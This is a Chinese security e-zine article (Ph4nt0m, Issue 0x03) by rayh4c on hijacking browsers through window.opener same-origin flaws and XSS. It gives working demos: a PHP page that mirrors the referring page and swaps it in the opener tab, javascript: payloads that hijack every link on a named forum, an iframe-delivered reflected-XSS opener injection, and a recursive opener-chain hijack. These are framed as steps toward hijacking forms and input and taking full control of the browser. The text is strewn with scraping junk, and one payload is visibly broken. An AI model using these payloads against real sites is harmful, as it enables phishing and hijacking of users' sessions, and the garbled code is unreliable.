==Ph4nt0m Security Team==
* T* v8 G+ u9 D
& |* m, Y0 t i+ O" A, d Issue 0x03, Phile #0x05 of 0x07
2 l! ~, i* g% S$ w2 g' \+ {( n5 m! l% V / ~! ^: z7 m& w7 O# y
, r ?! b$ Q% h( w& A( j! b: t
|=---------------------------------------------------------------------------=| }6 p+ \5 i K$ h
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
" _% s8 L( P& u6 @0 a0 Q|=---------------------------------------------------------------------------=|
6 H3 t+ q- q& k|=---------------------------------------------------------------------------=|
, Z0 w/ |4 |: l. Y( o|=------------------------=[ By rayh4c ]=---------------------------=|
2 x* Y2 U, o% J l" v|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
; U3 e! u- J3 r/ ?1 f4 c|=---------------------------------------------------------------------------=|3 P, n/ Q* N$ l: D
0 D9 a+ d/ B8 M) g
, {, ^/ K" [0 b[目录]
0 l4 X. u0 q9 Y6 A0 z/ `) }0 e7 ?1 d( E' n/ ~
1. 前言
0 p4 S- R, Z/ j* O' L' N/ `2. 同源策略简叙
/ d! o4 z0 v- F$ n3 l: ~3. 理解window对象的同源策略
! A: s) K) T4 I ]) k% ^" t4. 窗口引用功能中的同源策略漏洞
: R) }* D- ]* L6 v 4.1 父窗口引用子窗口的同源策略问题, E" \; }6 l; ~8 J+ D
4.2 子窗口引用父窗口的同源策略问题, B# t4 c: v3 d# w+ i& B' |
5. 利用窗口引用漏洞劫持浏览器+ @, w& s9 T& C0 p) J% Z7 e8 [
6. 利用XSS漏洞劫持浏览器& w" X. ]# I! j6 A" G
6.1 正向跨窗口劫持7 C% c5 y/ _. \) i, ^( K
6.2 反向跨窗口劫持8 }6 f7 a: G4 i7 {# f2 t( Y
6.3 极度危险的跨框架窗口引用劫持
+ h& V9 v3 [6 T5 \ 6.4 极度危险的正反向跨窗口递归劫持
' W+ B8 V7 y- W% U 6.5 完全控制浏览器: o) @ t8 r9 u) k9 p7 c
7. 后记' Q, ]: {- U( [9 H4 {8 }) S
8. 参考
( ?" e8 I" Y3 d6 f
( e2 c* K0 O, }$ t' Z5 o8 I( W( m; a9 t6 u; ?8 E. L: Q0 I
一、前言
$ y: }# ^ j3 r4 `9 M1 p8 N3 |$ W% ^5 b, M
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋3 E0 |% I3 [0 n% ^. @/ H
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
, }+ _8 C0 c6 I) j劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
' l- H2 y8 H. c" N% e5 C条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。/ r: z w" N/ M6 n- n9 j9 P! |; B
) Z j& r: x) o8 U' V& b3 U! I
7 g: N* B9 k% s" S% m8 e: L0 i3 g二、同源策略简叙
! y- c* {# C, o& T2 C4 M2 t0 Z2 e: r s1 ?
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以7 X( x- q7 V% a1 D9 L5 \" _+ I3 _
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都; \7 _, c+ o8 U1 A( J
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木" s- y4 o% W5 S, i h- I
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个+ z$ F/ G" d, u2 m D) T, z
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
% G. j" T' u9 a7 C/ V& d* H* K. I
; l2 k7 m! r/ Q6 i% P+ Y! g% x: y3 p+ f2 R5 _, A
三、理解window对象的同源策略
- v9 P: v1 a% t) E; _$ x! k% Y; h! E3 Z" j5 S% l# o: J
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
3 b. @' F: T4 |0 @象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
. v- l) Y$ [& C9 n0 N
/ z1 G5 X; a7 Q$ w( ], N--code-------------------------------------------------------------------------
J. k9 L0 l- h* ^ I( O3 \<script language="javascript">; U4 G& J9 _ f1 w: ~" g5 ]
for(p in window) document.write(p+"<br>");9 d; G! w) G$ m d* e" f$ Q4 S
</script>+ c# k7 {# H. ?( \
-------------------------------------------------------------------------------, f* D- X7 b2 D4 d8 I8 o0 t% R$ q
% M5 r3 m% y; J1 v 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
% t0 t3 ^5 X- b& v法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,+ j8 [ o A) i: y+ x+ k, k
这些属性和方法就必须遵循同源策略。
, r. w- u1 O' H8 m) Y* {& |0 n
! T" u* I6 ~, e2 c 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
) ~$ R) }" A. |么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须& K$ U4 q3 \& T
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这; D5 C$ f: D$ m
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的* Y& U/ v/ {& G$ x1 F& S0 M
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location- M% C9 O1 j* {* b) z
属性并没有被拒绝访问。
0 z& f! N- O% F& o5 M0 H% g7 S6 V0 Y' P/ h3 j5 N
--demo.html--------------------------------------------------------------------
2 U9 t7 X& R, ]<script language="javascript"> 9 F1 h( U9 C; Q# v: }" {" {7 ?% I
function allPrpos(obj) { 2 K8 B8 {/ e5 T: S; Q4 P! O% y' K
var props = "<table><tr><td>名称</td><td>值</td>"; - F, m o) `6 Q; M' S7 b {! y
for(var p in obj){
6 D) M4 H& G" {" L0 Q% |0 h if(typeof(obj[p])=="function"){
( O7 X% P: t' R" I6 N obj[p]();
$ ?4 }) m3 d8 \: E' p }else{
, w7 _7 U) g! a try 3 B4 x$ D/ M7 E8 O
{ ' g0 e) M1 o H/ [' [9 @
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; + r% [9 Z' E6 _6 l) v- ?7 b4 \
}
/ a: I) q" X/ c$ v catch (ex)
C2 b6 r+ B+ \5 }1 O& ` { 5 W7 S6 @/ K+ ^ N' h3 a
. p# a( B3 `7 x' K( k props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
3 O* s' A# T; I3 E }
9 y2 @- a2 y$ J8 z3 M+ p 2 O2 ~' g0 m' |" ^
} ( d) T9 X. C; K! E. B% H O1 a
}
8 h: q" C+ v" x/ K. ~ / F9 h4 `8 S* z c0 s w6 s
document.write(props+"</table>");
0 _. W% ]8 M' [2 U; P+ \; e. [} 1 _" O3 Q* p0 E7 o' M, p% B9 ?1 {
* c9 S/ a4 L( ~% ?9 v: H2 dfunction createWin() {) d$ j f& ~3 f+ A3 R- c
newWin = window.open ("http://www.google.com"); 7 @5 N7 w3 {' M) P
setTimeout(function(){allPrpos(newWin)},2000); 3 a( D# ^8 ?# w) i5 L
} 1 F- W" c0 c" b6 a, n0 y
% w6 F. {6 G8 S( p0 |" [
</script> 3 t. u& ~! }* Z0 J: a1 A
9 m6 M2 G+ r- G<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ j& M3 r( V9 |, q% c1 a-------------------------------------------------------------------------------
1 R- i; i; |' ]( z$ Y# D
% j3 ?' C0 }5 Q$ X7 S5 m9 F. X
7 B: w7 n" P1 i) c' C& T8 c- {四、窗口引用功能中的同源策略漏洞9 T; R# V% S+ y% T
5 t) p/ F, h1 S% f" m4 }* J
4.1 父窗口引用子窗口的同源策略问题* G; l# P- o) x0 e0 p2 Y
' A c2 K3 T. y k 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,: U/ w- Z7 {6 v/ ^) ?1 t) G2 b
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道( R. Z+ T5 t v9 Y
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进" T4 a( D+ S% q* m. a% B+ v& x
行测试,会发现父窗口可以控制非同源子窗口location属性值。
# ~# m: B$ D* T+ y% l
0 h5 u) G! B: G2 e--vul1.html--------------------------------------------------------------------
. O( T" }8 b2 ~6 f" T" {8 @; }( d/ ]<script language="javascript">
+ C. \- {3 M) nfunction createWin() { 5 K7 ]3 q3 R) r
newWin = window.open ("http://www.google.com");
/ W" K0 J" {8 P6 s* R' I% W5 \' R6 T setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
- Q4 [" w4 h0 g0 y x}
5 Y# {7 _, I H$ h/ O</script>
. z4 K' K( K' U, ]( q, R1 g9 b
" _, E0 ^& m4 B- S+ A4 A<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ V7 w. b& D b9 W5 j: `' N-------------------------------------------------------------------------------
. m; f$ {1 v; }* {1 J! T. [5 Q
. }, n7 A5 k& y: o# w5 ?
4.2 子窗口引用父窗口的同源策略问题) s$ J0 P5 J9 K0 p
5 Z' f, C* k/ d" }/ W$ m4 L% i
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使3 t" T D0 k. n" H9 N1 A7 v
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们; h. H0 T: b$ E
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
8 v. M! H" j; E1 f会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。$ v1 N& B0 f J2 R
& `8 m* Z. j4 H) h
--code-------------------------------------------------------------------------
7 ^% Y6 ^! j& R+ z: f+ @' I, W! p5 m1 M9 t! N% V
javascript:window.opener.location = "http://www.80sec.com";void(0);
7 E3 _4 N5 Q7 E2 D4 Y9 Q. I
7 n" y# E! e3 J2 g-------------------------------------------------------------------------------9 d0 `! `8 u' Z' l. M! u5 I" m
$ y+ Q% W( _; k- _2 f3 K) `- t% {$ g7 C& _
五、利用窗口引用漏洞劫持浏览器! I* b! s2 q8 ~
$ M/ @6 Y6 m3 c6 D 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子, z1 j r& W; e
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那( b3 P. d2 P; _" t8 `$ G! M, m
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
6 {, B3 q3 ~5 u
# K4 I) C6 R3 S; \" O" { 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
7 v7 O2 S6 b4 N2 S生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或9 ?& P( B7 F4 `% F
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接, q$ P/ E5 K4 f$ e4 A9 n; d4 R# E+ A
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下& {/ { V7 i/ ~/ X' o
会产生什么可怕的后果。
E3 T/ N+ N- D" `, i
7 c4 G$ E t& h0 c8 B7 o 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我+ s# x; k- g1 T# A
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php7 l, @4 M( X- O4 H, h N6 }8 M
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
* Y3 D# X0 J6 s& w候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可- |7 O) R( A# a" ]; {7 q4 p5 p
以做更多的事情,所有的一切仅仅是因为点击了一个链接。2 S% T( U9 n( m3 N
8 r' w" {& L5 m
--hjk_ref.php------------------------------------------------------------------
+ Q- o! R6 ^; p5 N0 l% U% [, k7 g<?php7 n9 E* m1 v2 U8 @' b
if (array_key_exists("HTTP_REFERER", $_SERVER)) {! K8 g/ O) ?5 B; S5 e
$Url_Mirror = $_SERVER["HTTP_REFERER"];
+ W+ o4 ^: ^' L} " h% r7 R$ U+ w. M9 `
if(isset ($_GET['ref'])) {
: e- F$ A6 @* c; i. Z; I- K: Becho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';* o3 J) r3 i& y+ P0 ~
}
0 q. G+ U) t# @& n8 w9 s?>
) f# o7 R: F8 \+ Y8 D, f; {8 n* x; g7 q4 f; R7 {( A4 i
<script language="javascript">+ s1 V8 F+ O, X! d; X. C
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
! [. w; i& Z, u5 d( O K</script>
p+ l( C# `2 @1 ~+ y& e-------------------------------------------------------------------------------
( w+ z+ t7 {) }4 Q: h2 u Z- j
- h+ e9 \) B2 { }, K 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
, x( I% Z( d/ L# ? D; Z l$ r3 k% E/ t1 A; ^6 x, B( f
, y+ i' h4 s- @' F% W+ p
六、利用XSS漏洞劫持浏览器8 M' M" _0 m' P: [
5 H/ u) u. q$ M, A9 {) h% m$ `+ w( E 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
! Q% |5 U7 R$ ~" R4 F. ]( | Q持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
* T! Y$ R) a. X/ \XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
* t6 y9 t! }2 s, D, h讨论跨站师的终极技巧:
+ \' t5 a0 m7 ?3 i5 z0 g. T; I: O- g: n6 |6 y% M, q: ?% f8 @+ c
) d& R: h; f9 p6.1 正向跨窗口劫持% q- ]) e2 Z6 C% ?; c
- U% ^: T7 S! d8 ?! F) C* s, i 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
8 J3 _/ Y% ~ T) T& @$ d主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链6 w9 P! e7 H1 j+ [4 x8 R% j5 }
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话9 m4 p" x7 x" m8 L! r: X
框脚本。
8 C, b' z p! q S1 G& X0 b% Z# Y" @9 B) l% p. b( D' h
--hijack_open.js---------------------------------------------------------------
9 k6 h, K0 J' ?: ]
, w- E1 B% H6 k7 W5 Njavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);. `) m4 n; _. B- F) ^' s
# ~# w9 T9 b9 W
-------------------------------------------------------------------------------0 d' l) q; Z! v9 N( w
+ d9 |2 C9 y) X% J
7 V" l- A6 w3 H8 z
6.2 反向跨窗口劫持
. B0 S6 U9 y1 w9 k
6 d$ n2 D6 E; i 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代# v W9 O+ \7 |) p' ?' d" [
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话' h# \8 C! ~+ G& i6 n7 X+ V H* }
框脚本。
9 G4 x7 v" U' C! U4 [; q& _
3 Y% a7 t0 C7 I% S/ [--hijack_opener.js-------------------------------------------------------------
: W" C& y# ~4 H5 O7 B
% Q) n, O% L# m5 V6 jjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
# ~9 ]! F9 ]. P/ f9 M0 {
& t! `! q! B$ x; w9 G$ d-------------------------------------------------------------------------------6 N3 u. u! S6 B
) ], X+ ` L+ v4 N4 O; F
* a. T; \7 Q# @1 N1 \, |# S b/ j6.3 极度危险的跨框架窗口引用劫持
- }6 c8 w( c) B+ ?+ M6 _% A5 `# k8 j1 e/ G3 [% n3 [
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞7 X9 Y' C* I+ {0 k4 q: H) U7 ]+ X
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
1 `& d/ \5 ]# S, \5 N4 C3 x2 j适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个$ Q a# J5 ~; q5 G0 E/ z3 t, d
非持久型的XSS,如下:
6 e+ N' B2 F7 q* k- c- o, F' c: x7 |
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>: d. G& @# P1 c! h
' C" q3 E$ z Y% M5 N 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口8 J( `8 r6 h; D& m3 \& a
注入脚本。' Q+ E8 P( ^% Q4 w$ Y. _: a
2 G3 m% b) E2 r9 ~/ ?
--hijack_frame_opener.js-------------------------------------------------------
7 W; ]7 A1 L8 @4 J<script>
5 {. _( `$ ?; ^ t) f6 h' c7 Hwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
' C0 `3 \6 u9 r) S! M</script>; O0 V9 N0 c# y2 r
-------------------------------------------------------------------------------
% E8 e1 W$ Q5 f& A9 u1 o, [* R* {( q' b' g2 o H. \
) }( d+ D, Z `9 w6.4 极度危险的正反向跨窗口递归劫持
' W3 r% t2 z& ~( A: c- B+ L
! j# p. P/ W7 j6 B% @/ G4 c6 J luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
4 L% S7 F/ l% Y$ @- O. c的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
0 G% v3 N* S& K* \! o9 `- F" r异常处理规避之间跨域页面的访问异常,代码如下:
$ c, B% M7 Y/ g2 f+ ]2 X
+ O. l$ s7 T7 G- B& R# X--code-------------------------------------------------------------------------+ Z9 I5 `* K- _
/ W+ r* V/ ?+ H: q0 I+ z
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
+ b& Q2 H2 Q" D3 @' V. w* U; u4 o: `: _
-------------------------------------------------------------------------------% c: b, b1 f$ {2 z
9 o3 o- [) L# ]+ [" \
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可% _1 l7 `% y% e$ M9 u% ~# N
以劫持B域之前的A域页面,从而实现“隔空打击”。
! @' a1 M8 ]2 \5 [/ W0 o2 q
; T! W1 U. o H4 d- {$ R# D* b 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
, K' @# l$ _/ \* R+ h执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
$ w1 e: ?: L: Y! A: X& U& l& {! s1 Q
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。0 B; Z2 U2 z) T; T) j: \( c, ~
8 ]% u! S; x5 d- ^ r* \6 B# d, w, R/ s" u& H" }
6.5 完全控制浏览器
8 p% N X7 ^3 y- y3 r0 A6 B/ \- Z# R- l+ G, W% s
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则. H$ K* y B, p3 c9 x
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS' A8 `4 F0 Z% `
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失# q$ Z. c. i2 H# \5 b
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
. B8 p- L* ^0 h. a+ X/ v# W% ^列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站; ~1 K) v; {% V% L4 `, b. }% F' x
师的终极目标 - 完全控制浏览器。+ `; w% {3 s+ D' v0 R M
7 S/ w; u* |/ l2 q: Q9 W! c- R" X1 \( y% l3 @8 |# Q" q
七、后记4 `3 g: U" S; ^. v* L/ g/ i
3 h, w% Q% |7 s6 U 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
( v$ B7 a. S' i, Y5 `与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
f$ x! b4 ^' z6 y& W- m过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。# f! r; i2 E2 G+ `9 S) Z
# J2 @ D) y% k! R1 f8 \* {% _7 O& K7 j$ s9 C) d
八、参考2 i9 I: I X- k a3 f5 }! I! R% J
6 H- d5 Z& t& D0 s: v* Y- V1. http://en.wikipedia.org/wiki/Same_origin_policy I7 e/ J3 L7 G. ~
2. http://code.google.com/p/browser ... licy_for_DOM_access
' m5 h$ n- ]8 u; t' X8 A3 o4 u3. http://www.w3.org/TR/Window/- @' O Z1 Z! I* m/ F( y
4. http://www.80sec.com/release/browser-hijacking.txt
' [; j( k+ f* V5. http://www.80sec.com/all-browser-security-alert.html
, V4 ^ K; n$ M- e1 C1 N6. http://www.80sec.com/ms08-058-attacks-google.html8 Z6 f! }, V, j p" c
2 y O e, v- h4 i-EOF- |